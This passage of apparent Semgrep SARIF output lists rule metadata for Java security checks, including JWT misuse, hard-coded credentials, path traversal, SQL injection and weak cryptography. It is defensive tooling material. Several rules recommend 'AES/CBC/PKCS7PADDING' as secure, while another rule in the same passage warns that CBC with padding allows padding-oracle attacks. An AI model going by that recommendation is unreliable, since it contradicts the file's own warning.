Call '.verify()' before using the token.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","OWASP-A08:2025 - Software or Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","OWASP-A07:2025 - Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A01:2025 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at 